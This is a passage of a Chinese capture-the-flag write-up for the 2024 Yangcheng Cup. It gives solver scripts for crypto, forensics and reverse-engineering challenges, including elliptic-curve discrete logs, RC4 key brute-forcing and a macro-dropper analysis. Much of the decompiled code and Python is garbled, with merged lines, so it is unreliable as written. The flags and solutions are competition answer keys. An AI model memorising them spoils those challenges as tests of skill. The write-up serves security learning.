a6 = - 27 / ((a - (d/3) *(d/3)* (d/3)) *(a - (d/3) *(d/3) *(d/3))* (a - (d/3) *(d/3)* (d/3)) *(a - (d/3)* (d/3)* (d/3)))

#print(d)
#print(a0,a1,a2,a4,a6)

E = EllipticCurve(GF(p), [a1, a2, a3, a4, a6])

#u = (-3 / (a - d* d *d/27)) *x / (d *x/3 - (-y) + 1)
#v = (-9 / ((a - d *d *d/27) *(a - d* d *d/27))) (-y) / (d* x/3 - (-y) + 1)

gx =(-3 / (a - d* d *d/27)) *x1 / (d *x1/3 - (-y1) + 1)
gy =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y1) / (d* x1/3 - (-y1) + 1)
px =(-3 / (a - d* d *d/27)) *x2 / (d *x2/3 - (-y2) + 1)
py =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y2) / (d* x2/3 - (-y2) + 1)

G = E(gx,gy)
Q = E(px,py)

P,Q = G,Q
factors, exponents = zip(*factor(E.order()))
print(factors, exponents)
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][3:-1]
print(primes)
dlogs = []
for fac in primes:
    t = int(int(P.order()) // int(fac))
    dlog = discrete_log(t*Q,t*P,operation="+")
    dlogs += [dlog]
    print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order

l = crt(dlogs,primes)
print(libnum.n2s(int(l)))
#b'e@sy_cuRvL_c0o!'

三、RSA_loss

newm = pow(c, d, n)可以知道m>n,與常規的rsa不同。flag = newm + k * n,計算出k的範圍,爆破m的長度。

import libnum
import gmpy2

e = 65537
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
newm = libnum.s2n(b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15')

n = p * q
d = gmpy2.invert(e, (p - 1) * (q - 1))

def decrypt_rsa(c, n, length):
    prefix = b"DASCTF{"
    for l in range(length):
        # 計算兩個邊界值 f1 和 f2
        f1 = libnum.s2n(prefix + b"\xff" * l + b"}") // n
        f2 = libnum.s2n(prefix + b"\x00" * l + b"}") // n

        k = f2
        m = c + k * n

        while k < f1:
            flag = libnum.n2s(m)

            valid_flag = all(
                48 <= byte <= 57 or 65 <= byte <= 90 or 97 <= byte <= 122 or byte in {95, 123, 125} for byte in flag)

            if valid_flag:
                return flag, k

            # 如果 flag 無效,嘗試下一個可能的值
            if m % 256 == ord('}'):
                m += (256 * n)
                k += 256
            else:
                m += n
                k += 1

    return None, None
flag, k = decrypt_rsa(newm, n, 36)

print(flag)
#b'DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}'

四、BabyCurve

先嚐試爆破b和c,利用Pohlig-Hellman演算法計算離散對數,之後 就是常規的AES中的cbc加密。

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import binascii
import libnum
import hashlib
from Crypto.Util.Padding import unpad

def add_curve(P, Q, K):
    a, d, p = K
    if P == (0, 0):
        return Q
    if Q == (0, 0):
        return P
    x1, y1 = P
    x2, y2 = Q
    x3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % p
    y3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow(
        (1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % p
    return x3, y3


def mul_curve(n, P, K):
    R = (0, 0)
    while n > 0:
        if n % 2 == 1:
            R = add_curve(R, P, K)
        P = add_curve(P, P, K)
        n = n // 2
    return R

a = 46
d = 20
p1 = 826100030683243954408990060837
K1 = (a, d, p1)
G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = (528578510004630596855654721810, 639541632629313772609548040620)
Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
for c in range(100):
    if P1 == mul_curve(c, G1, K1):
        print("c =", c)
        break
for b in range(100):
    if Q1 == mul_curve(b, G1, K1):
        print("b =", b)
        break
#c = 35
#b = 98


p = 770311352827455849356512448287

a = -35
b = 98
gx =584273268656071313022845392380
gy =105970580903682721429154563816
px =401055814681171318348566474726
py =293186309252428491012795616690

E = EllipticCurve(GF(p), [a, b])
G = E.gens()[0]
n = E.order()
QA = E(px, py)

factors = list(factor(n))
m = 1
moduli = []
remainders = []

print(f"[+] Running Pohlig Hellman")
print(factors)

for i, j in factors:
    if i > 10**9:
        print(i)
        break
    mod = i**j
    g2 = G*(n//mod)
    q2 = QA*(n//mod)
    r = discrete_log(q2, g2, operation='+')
    remainders.append(r)
    moduli.append(mod)
    m *= mod

r = crt(remainders, moduli)
print(r)
#59260093280148
n = P.order() // factors[-1][0]
#318034270656032

data = {
    'iv': 'bae1b42f174443d009c8d3a1576f07d6',
    'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'
}
for i in range(99999):
    key = hashlib.sha256(str(r).encode()).digest()[:16]
    cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(data['iv']))
    ciphertext = bytes.fromhex(data['cipher'])

    try:
        plaintext_padded = cipher.decrypt(ciphertext)
        plaintext = unpad(plaintext_padded, AES.block_size)
        if plaintext.startswith(b'DASCTF{'):
            print(plaintext.decode('utf-8'))
            break
    except ValueError:
        pass

    r += n
# b'DASCTF{THe_C0rv!_1s_Aw3s0me@!!}

misc

1.hiden

剛拿到題目還不明白txt的名字是什麼意思,後來查閱misc常見的加密形式中偶然發現rot47加密和rot13 加密裡面的數字加在一起剛好是60,真是長見識了。果斷進行解密:

羊城杯2024WP

得到一個加密指令碼:

import wave

with open('flag.txt', 'rb') as f:

txt data = f.read()

file len = len(txt data)

txt data = file len.to bytes(3, byteorder = 'little') + txt data

with wave.open("test.wav", "rb") as f:

attrib = f.getparams()


wav data = bytearray( f.readframes(-1) )

for index in range(len(txt data)):

    wav data[index * 4] = txt data[index]

    with wave.open("hiden.wav", "wb") as f:

        f.setparams(attrib) 
        f.writeframes(wav data)

直接拉去gpt給我們一個指令碼解密:

import wave

\# 開啟隱藏了txt資料的wav檔案

with wave.open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件 
\hiden\hiden\hiden.wav", "rb") as f:


attrib = f.getparams()


wav data = bytearray(f.readframes(-1))


\# 提取文字資料

txt data = bytearray()


for index in range(0, len(wav data), 4):

txt data.append(wav data[index])


\# 計算原始txt資料的長度 try:

file len = int.from bytes(txt data[:3], byteorder='little') txt data = txt data[3:]

\# 如果提取的資料長度小於原始長度,則擷取到實際長度

txt data = txt data[:file len] except (IndexError, ValueError) as e:


print(f"An error occurred while extracting the data: {e}")

exit(1)


\# 將提取的位元組寫入flag.txt檔案

with open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件\hiden\hiden\flagg.txt", 
'wb') as f:


f.write(txt data)

print("flag.txt has been decrypted.")

DASCTF{12jkl-456m78-90n1234}

2.check in:

下載下來發現是一個十六進位制檔案,直接匯入到010中開啟檢視發現有流量包的字樣,但暫時沒有思路。
回過頭來重新找線索,發現居然在壓縮包中有註釋:

羊城杯2024WP

拉去一個一個試發現是base58解密:

羊城杯2024WP

使用webstego來解密檔案:

羊城杯2024WP

得到一個log日誌,那麼確定了肯定是用來做流量檔案的金鑰,考慮可以將十六進位制轉化為字串:

def hex to pcapng(hex string, output file):

# 將十六進位制字串轉換為位元組

bytes data = bytes.fromhex(hex string)

# 將位元組寫入指定的輸出檔案

with open(output file, 'wb') as f: f.write(bytes data)

# 示例用法

if name == " main ":

# 讀取十六進位制字串(假設從檔案中讀取)

with open(r"E:\download\Checkin\FLag.txt", 'r') as f: hex string = f.read().strip()

# 檢查檔案是否以0d0a開頭

if hex string.startswith('0d0a'):
# 去掉開頭的0d0a

hex string = hex string[4:]
# 列印出 hex string 以供除錯
print(f"原始十六進位制字串:{hex string}")

# 清理輸入,去掉任何非十六進位制字元

hex string = ''.join(filter(lambda x: x in '0123456789abcdefABCDEF', hex string))

# 確保 hex string 的長度為偶數

if len(hex string) % 2 != 0:
print("警告:十六進位制字串長度為奇數,可能導致轉換錯誤。")

去掉最後一個字元(或處理異常)

# 寫入pcapng檔案

output filename = r"E:\download\Checkin\FLag.pcapng" hex to pcapng(hex string, output filename)

print(f"已成功轉換為 {output filename}")

得到pcap檔案,然後根據網上教程依次:

“編輯”——“首選項”——“TLS"——填入剛才得到的log日誌,然後過濾http後查詢flag:

羊城杯2024WP

得到一個gif圖片 ,匯出來一個gif圖片

羊城杯2024WP

用命令來處理幀:

identify -format "%T " kk.gif > flag.txt 得到一串數字:

羊城杯2024WP

換一換數字再進行二進位制解碼:

羊城杯2024WP

5.不一樣的資料庫_2

下載下來發現加密壓縮包直接爆破得到密碼:

羊城杯2024WP

得到一張


羊城杯2024WP

得到字串,名字提示rot13,解碼後得到:


羊城杯2024WP

AES@JDHXGD12345&JJJS@JJJSK#JJDKA JKAH 使用keepass開啟kdbx檔案:


羊城杯2024WP
羊城杯2024WP

得到密文,並在history中發現密文,結合名字aes,直接解密得到最終flag:

羊城杯2024WP

6.so much

下載下來發現是無字尾的檔案,010開啟觀察一下檔案:

羊城杯2024WP

得到密碼,ftk掛載:

羊城杯2024WP

輸入密碼:
1234567發現不對,嘗試一下鍵盤上對應的字元!@#¥%……&:

羊城杯2024WP

得到了許多小檔案,隨便點開幾個,沒有發現有用的資訊,然後注意到時間只有一些微小的差別,考慮 可能隱藏在時間戳中,仔細觀察發現分和秒都只有兩種情況,將分鐘數視為0和1,作為二進位制來解密:

00110111 00110000 00110000 00110010 00110010 00111001 01100011 00110000 00110101

00110011 01100010 00110100 01100101 01100010 01100010 01100011 01100110 00110001

01100001 00110011 01100011 01100011 00110011 00110111 01100011 00110011 00111000

00111001 01100011 00110100 01100110 01100001

解密得到:
700229c053b4ebbcf1a3cc37c389c4fa


羊城杯2024WP

使用encrypto軟體隨便解密兩個,剛好0和1檔案就是flag: DASCTF{85235bd803c2a0662b771396bce9968f}

4.miaoro

下載壓縮包,解壓得到一個流量包:


羊城杯2024WP

老樣子查一下flag沒有查到有用資訊,追蹤一下tcp流,在第6個流後發現幾個非常長的cookie:

羊城杯2024WP

挨個解密看一下有沒有可用資訊:

羊城杯2024WP
羊城杯2024WP

發現關鍵字串,得到上半部分flag。

同樣發現有可疑字元;


羊城杯2024WP

GWHT命令,將之後每一個流中的該命令base64解密發現可讀字元:

羊城杯2024WP

在其中發現一串密碼:


羊城杯2024WP

同時在流13中發現了一大串回應的報文,同樣拉去base64;


羊城杯2024WP

得到明顯的十六進位制資料,但是沒有觀察到有效的檔案頭, 把最右側的十六進位制資料取出來,逆序後轉十 六進位制發現pk關鍵標識頭


羊城杯2024WP

稍加修復後儲存為壓縮包,密碼直接用剛才找到的密碼即可得到圖片,改一下寬高得到後半的flag:


羊城杯2024WP

DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}

3.1z_misc

下載下來發現是隻有一句謎語,被卡了三個小時(火),嘗試了很多方法,後來出了hint終於才勉強明白 出題人的腦洞,直接看圖:


羊城杯2024WP

是以十二歲而行二十八宿,其間奧妙,待探尋,顯真章。

若女可為11,可為1124......觜可為91,亦可為725...結合要求,規律為逆時針轉,前面兩位為裡面的天 幹,後兩位為外面的星宿,且永遠從當前天干的最右邊的星宿為1數起,得到金鑰:

心胃心奎奎心奎心奎心胃心心心胃心心胃心奎奎奎奎胃奎心奎奎胃奎心奎心奎奎

觀察一下發現只有胃沒有連著,應該是空格,其他的一個長一個短作為摩斯程式碼解密得到金鑰E@SILY!

解密後得到一個hint和一個無字尾檔案,以前見過類似的題目,用lyra工具處理後,把音訊用線上的轉文
字工具提取出來會發現是一個核心價值觀解密,解密即可得到flag。

RE

pic

拿到附件,是一張資料被篡改的png圖片和一個可執行檔案,於是我們先運 行一下可執行檔案,


羊城杯2024WP

可以看到沒有報錯的提示,接下來我們查殼,


羊城杯2024WP

沒有殼,64bit,直接丟到ida64裡分析,然後直接F5大法,

羊城杯2024WP

發現並沒有什麼東西,然後再根據剛剛執行程式的回顯來試一試,搜了key, 沒找到,再搜了DAS,才搜到,終於拿到虛擬碼

// main.main

void    fastcall main   main() 
{

int v0; // ebx int v1; // edi int v2; // esi
    int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbx int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d
    int64 v35; // [rsp-36h] [rbp-C8h] 
    int64 v36; // [rsp-36h] [rbp-C8h] 
    int64 v37; // [rsp-36h] [rbp-C8h] 
    int64 v38; // [rsp-36h] [rbp-C8h] 
    int64 v39; // [rsp-36h] [rbp-C8h] 
    int64 v40; // [rsp-36h] [rbp-C8h] 
    int64 v41; // [rsp-2Eh] [rbp-C0h] 
    int64 v42; // [rsp-26h] [rbp-B8h] char v43; // [rsp+Ah] [rbp-88h] BYREF 
    int64 v44; // [rsp+32h] [rbp-60h] string *v45; // [rsp+3Ah] [rbp-58h]
    int128 v46; // [rsp+42h] [rbp-50h] BYREF


    QWORD v47[2]; // [rsp+52h] [rbp-40h] BYREF 
    QWORD v48[2]; // [rsp+62h] [rbp-30h] BYREF 
    QWORD v49[3]; // [rsp+72h] [rbp-20h] BYREF

while ( (unsigned   int64)&v46 + 8 <= *(    QWORD *)(v3 + 16) )
runtime     morestack   noctxt(); v49[2] = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() ) os    Exit(0, v0, v4, v1, v2, v5);
v49[0] = &RTYPE     string; v49[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v49,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v35);
p   string = (string *)runtime  newobject((const RTYPE *)&RTYPE     string) v45 = p     string;
p   string->ptr = 0LL; 
v48[0] = &RTYPE     ptr     string; v48[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, qword   561D58, (unsigned int)v48, if ( v45->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v47[0] = &RTYPE   string;
v47[1] = &off   4DD480;
fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v45->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v43, v45->ptr, v45->l v44 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 os     OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v33,
}

可以看到先檢測長度是否為5,就是要求我們輸入key,但是當我們點進 main_NewCipher函式時,看著像rc4加密,但是沒有異或加密的部分,只有初始化init和生成金鑰流的部分,於是檢視一下彙編,

羊城杯2024WP

可以看到有一個花指令,去一下,就可以拿到真正的虛擬碼了,然後F5,

// main.main

void    fastcall main   main() 
{
int v0; // ebx int v1; // edi int v2; // esi
    int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p   string; // rax int v10; // ebx 
int v11; // r8d 
int v12; // r9d 
int v13; // r10d 
int v14; // r11d 
int v15; // ecx 
int v16; // r8d 
int v17; // r9d 
int v18; // r10d 
int v19; // r11d
char *ptr; // rbx


int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d 
    int64 v35; // rax 
    int64 v36; // rbx int v37; // r8d int v38; // r9d int v39; // r10d int v40; // r11d 
    int64 All; // rax int v42; // r8d int v43; // r9d int v44; // r10d int v45; // r11d char *v46; // rdx 
    int64 v47; // rax 
    int64 v48; // r11 
    int64 v49; // rsi 
    int64 v50; // rcx 
    int64 i; // rbx 
    int64 v52; // rdx int v53; // r9d int v54; // r10d 
    int64 j; // rbx int v56; // r13d char v57; // si
    int64 v58; // [rsp-36h] [rbp-C8h] 
    int64 v59; // [rsp-36h] [rbp-C8h] 
    int64 v60; // [rsp-36h] [rbp-C8h] 
    int64 v61; // [rsp-36h] [rbp-C8h] 
    int64 v62; // [rsp-36h] [rbp-C8h] 
    int64 v63; // [rsp-36h] [rbp-C8h] 
    int64 v64; // [rsp-36h] [rbp-C8h] 
    int64 v65; // [rsp-36h] [rbp-C8h] 
    int64 v66; // [rsp-36h] [rbp-C8h] 
    int64 v67; // [rsp-2Eh] [rbp-C0h]


        int64 v68; // [rsp-2Eh] [rbp-C0h] 
        int64 v69; // [rsp-2Eh] [rbp-C0h] 
        int64 v70; // [rsp-2Eh] [rbp-C0h] 
    BYTE v71[24]; // [rsp-26h] [rbp-B8h] 
        int64 v72; // [rsp-26h] [rbp-B8h] int v73; // [rsp-Eh] [rbp-A0h]
char v74; // [rsp+0h] [rbp-92h]
char v75; // [rsp+Ah] [rbp-88h] BYREF 
    int64 v76; // [rsp+2Ah] [rbp-68h] 
    int64 v77; // [rsp+32h] [rbp-60h] string *v78; // [rsp+3Ah] [rbp-58h]
    int64 (     golang *v79)(int, int, int, int, int, int, int, int, int,
        int64 v80; // [rsp+4Ah] [rbp-48h] BYREF 
    QWORD v81[2]; // [rsp+52h] [rbp-40h] BYREF 
    QWORD v82[2]; // [rsp+62h] [rbp-30h] BYREF 
    QWORD v83[2]; // [rsp+72h] [rbp-20h] BYREF void (**v84)(void); // [rsp+82h] [rbp-10h]

while ( (unsigned   int64)&v80
runtime     morestack   noctxt(); v84 = 0LL;
if ( (unsigned      int8)main   isDebuggerPresent() os  Exit(0, v0, v4, v1, v2, v5);
v83[0] = &RTYPE     string; v83[1] = &off   4DD470; fmt     Fprintln(
(unsigned int)off   4DD9F8, qword   561D60,
(unsigned int)v83,
1,
1,
(unsigned int)&off  4DD470,
v6, v7, v8, v58);
p   string = (string v78 = p    string;
p   string->ptr = 0LL; 
v82[0] = &RTYPE     ptr     string; v82[1] = p  string;
v10 = qword     561D58;
fmt     Fscan((unsigned int)off     4DD9D8, if ( v78->len != 5 )
os  Exit(0, v10, v15, 1, 1, v16); v81[0] = &RTYPE   string;
v81[1] = &off   4DD480;


fmt     Fprintln((unsigned int)off  4DD9F8, qword   561D60, (unsigned int)v ptr = v78->ptr;
v25 = runtime   stringtoslicebyte((unsigned int)&v75, v78->ptr, v78->l v77 = main   NewCipher(v25, (    DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 v35 = os   OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v79 = main  main    func1;
v80 = v35;
v84 = (void (**)(void))&v79; v36 = v35;
All = io    ReadAll((unsigned int)off   4DD9D8, v35, (unsigned int)&v79, v46 = v78->ptr; 
if ( v78->len <= 1 )
runtime     panicIndex(1LL); v76 = All;
v74 = v46[1];
v47 = runtime   makeslice((unsigned int)&RTYPE  uint8, v36, v36, 0, 1, v49 = v76;
v50 = v36; 
for ( i = 0LL; v50 > i; ++i )
*(  BYTE *)(v47 + i) = v74 ^ *(     BYTE *)(v49 + i); v52 = v77;
v53 = *(unsigned    int8 *)(v77 + 1024); v54 = *(unsigned   int8 *)(v77 + 1025); for ( j = 0LL; v50 > j; ++j )
{
v56 = *(    DWORD *)(v52
v54 += v56;
v57 = *(    BYTE *)(j + v47);
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v53) = 
*(  DWORD *)(v52 + 4LL * (unsigned      int8)v54) = v48 = (unsigned     int8)(v56 + *(  DWORD *)(v52 + 
*(  BYTE *)(v47 + j) = *(   BYTE *)(v52 + 4 * v48)
}
*(  BYTE *)(v52 + 1024) = v53;
*(  BYTE *)(v52 + 1025) = v54;
os  WriteFile((int)"./flag.png", 10, v47, v50, v50, 420, v53, v54, v4 
(*v84)();
}

有兩處異或


羊城杯2024WP

然後我們就可以寫個python指令碼進行爆破,爆破的內容就是png檔案的檔案 頭

from itertools import product import string

def init(key):
key     length = len(key) S = list(range(256)) j = 0
for i in range(256): 
j = (j + S[i] + key[i % key     length]) % 256
S[i], S[j] = S[j], S[i] return S



def fff(S, length):
i = j = 0 K = []
for      in range(length): i = (i + 1) % 256
j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i]
K.append(S[(S[i] + S[j]) % 256]) return K



def RC4(key, plaintext):
key = [ord(c) for c in key]
S = init(key)
keystream = fff(S, len(plaintext))


result = bytearray([keystream[i] ^ plaintext[i]


^ 0x11


for i in ra

result = bytearray([b ^ key[1] for b in result]) return result



def find    key     for     png     signature():
"""Try to find the key by matching the PNG signature""" table = string.digits + "abcdef"
target  signature = bytes([0x89, 0x50, 0x4E, 0x47])

with open("1.png", 'rb') as f: enc = f.read(4)

print("Trying all possible keys...") for s in product(table, repeat=5):
key = "".join(s)
decrypted = RC4(key, enc) 
if decrypted[:4] == target  signature:
print(f"Found key: {key}") break
else:
print("No valid key found.")



if      name     == "   main    ":
find key for png signature()

拿到金鑰


羊城杯2024WP

執行程式,輸入金鑰,圖片的資料進行修改拿到flag


羊城杯2024WP

docCrack WP

拿到附件,是一個docm檔案,第一反應就是考察宏程式碼,剛好題目也說是老 東西,於是乎就用olevba“一把梭”了,

羊城杯2024WP

然後開啟得到的txt檔案,開始分析,可以看到有一個異或,異或7,

羊城杯2024WP

然後還有一個把所有字串合在一起,就是這個xpkdb

羊城杯2024WP

然後將所有字元儲存起來,執行指令

羊城杯2024WP
羊城杯2024WP

得到一個exe檔案了,然後就直接用ida分析了

int     fastcall main   0(int argc, const char **argv, const char **envp) 
{
char *v3; // rdi
    int64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF int v7[125]; // [rsp+30h] [rbp+10h] int j; // [rsp+224h] [rbp+204h]

v3 = &v6;
for ( i = 138i64; i; --i ) 
{
*)v3 = -858993460;

}
j   CheckForDebuggerJustMyCode(&unk     14002200E, argv, envp); v7[0] = 4288;
v7[1] = 4480; v7[2] = 5376; v7[3] = 4352; v7[4] = 5312; v7[5] = 4160; v7[6] = 7936; v7[7] = 5184; v7[8] = 6464; v7[9] = 6528; v7[10] = 5632; v7[11] = 3456; v7[12] = 7424; v7[13] = 5632; v7[14] = 6336; v7[15] = 6528; v7[16] = 6720; v7[17] = 6144; v7[18] = 6272; v7[19] = 7488; v7[20] = 6656; v7[21] = 7296; v7[22] = 7424; v7[23] = 2432; v7[24] = 2432; v7[25] = 2432; v7[26] = 5632; v7[27] = 4416; v7[28] = 3456; v7[29] = 7168; v7[30] = 6528;


v7[31] = 7488; v7[32] = 6272; v7[33] = 5632; v7[34] = 3520; v7[35] = 6208; v7[36] = 5632; v7[37] = 4736; v7[38] = 6528; v7[39] = 6400; v7[40] = 7488; v7[41] = 3520; v7[42] = 5632; v7[43] = 5184; v7[44] = 3456; v7[45] = 7488; v7[46] = 7296; v7[47] = 3200; v7[48] = 6272; v7[49] = 7424; v7[50] = 2432; v7[51] = 2432; v7[52] = 2432; v7[53] = 7808; if ( argc == 2 ) 
{
for ( j = 0; j < (int)j     strlen(argv[1])
v7[j + 64] = argv[1][j] << 6; for ( j = 0; (unsigned    int64)j < 
{
if ( v7[j] != v7[j + 64] ) 
{
sub     140011190("bad"); return 0;
}
}
sub     140011190("good"); return 0;
}
else
{
sub     140011190("no way!!!"); return 1;
}
}

就是一個位移,然後就可以寫指令碼了,很簡單,

enc = [0] * 54
enc[0] = 4288
enc[1] = 4480
enc[2] = 5376
enc[3] = 4352
enc[4] = 5312
enc[5] = 4160
enc[6] = 7936
enc[7] = 5184
enc[8] = 6464
enc[9] = 6528
enc[10] = 5632
enc[11] = 3456
enc[12] = 7424
enc[13] = 5632
enc[14] = 6336
enc[15] = 6528
enc[16] = 6720
enc[17] = 6144
enc[18] = 6272
enc[19] = 7488
enc[20] = 6656
enc[21] = 7296
enc[22] = 7424
enc[23] = 2432
enc[24] = 2432
enc[25] = 2432
enc[26] = 5632
enc[27] = 4416
enc[28] = 3456
enc[29] = 7168
enc[30] = 6528
enc[31] = 7488
enc[32] = 6272
enc[33] = 5632
enc[34] = 3520
enc[35] = 6208
enc[36] = 5632
enc[37] = 4736
enc[38] = 6528
enc[39] = 6400
enc[40] = 7488
enc[41] = 3520
enc[42] = 5632
enc[43] = 5184
enc[44] = 3456


enc[45] = 7488 enc[46] = 7296 enc[47] = 3200 enc[48] = 6272 enc[49] = 7424 enc[50] = 2432 enc[51] = 2432 enc[52] = 2432 enc[53] = 7808 for i in enc:
print(chr((i >> 6) ^ 7), end="")

flag:DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

你這主函式保真麼 WP

拿到附件,我們就是一個可執行檔案,執行一下,看看回顯,可以看到有個 長度判斷。查殼,

羊城杯2024WP

沒有殼,32位,直接丟進ida32分析,直接F5,看到的是

羊城杯2024WP

可是當我們看到左邊函式視窗,有一些很可疑的函式名,

羊城杯2024WP

一一檢視下來,可以知道,encrypt(std::vector const&)函式是一個DCT, rot13_encrypt函式就是和它名字一樣,rot,然後就是 tcf_0....再一個就是 _GLOBAL_sub_I_flag函式,這個函式也是最奇怪的,點進來一看

羊城杯2024WP

Test::Test函式是輸入和檢測長度的功能, tcf_2函式里面卻是判斷正誤的地 方,Test2::Test2裡就是rot,然後DCT在 tcf_3裡,這就很奇怪了,程式執行 順序完全亂了,這就真的應了題目名稱所說你這主函式包真嗎,後來搜尋 atexit函式的作用才知道,該函式註冊的函式會在程式結束的時候進行逆序的 執行,逆序的序就是函式註冊的順序,那這就可以理解了,輸入的flag,先
進行了rot加密,然後再來一次dct加密,最後進行比對,比對的資料就是 check陣列,那麼我們就可以寫解密指令碼了

import numpy as np

def idct(dct    coeffs): N = len(dct    coeffs)
original = np.zeros(N) PI = np.pi

for n in range(N): sum  val = 0.0 
for k in range(N):
Ck = (1.0 / np.sqrt(N)) if k == 0 else np.sqrt(2.0 / N) sum     val += Ck * dct     coeffs[k] * np.cos(PI * k * (2.0 * n +
original[n] = sum   val return original

def vector  to  string(vec):
result = '' for val in vec:
ascii   val = int(round(val)) if 32 <= ascii    val <= 126:

result += chr(ascii     val) return result

def rot13(input     str): output = ''
for c in input  str: if 'a' <= c <= 'z':
output += chr((ord(c) elif 'A' <= c <= 'Z':
output += chr((ord(c) else:
output += c return output

def main(): enc = [
513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.9864 15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20 
-4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.74 
-9.75476, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.68 26.8296
]

original = idct(enc)
original    string = vector     to  string(original) decrypted      string = rot13(original     string)

print("Decrypted string:", decrypted    string)

if      name     == "   main    ": main()

得到flag
DASCTF{Wh0_1sMa1n@nd_FunnY_Dct}



題目附件地址:連結: https://pan.baidu.com/s/1DyWeste-n9tM3UpoZtlM5g 提取碼: 761f


轉自原文連線地址: https://xz.aliyun.com/t/15448?time__1311=GqjxnDuGiQYWqGNDQ0PBKGQqoIY6bt7Wd4D#toc-4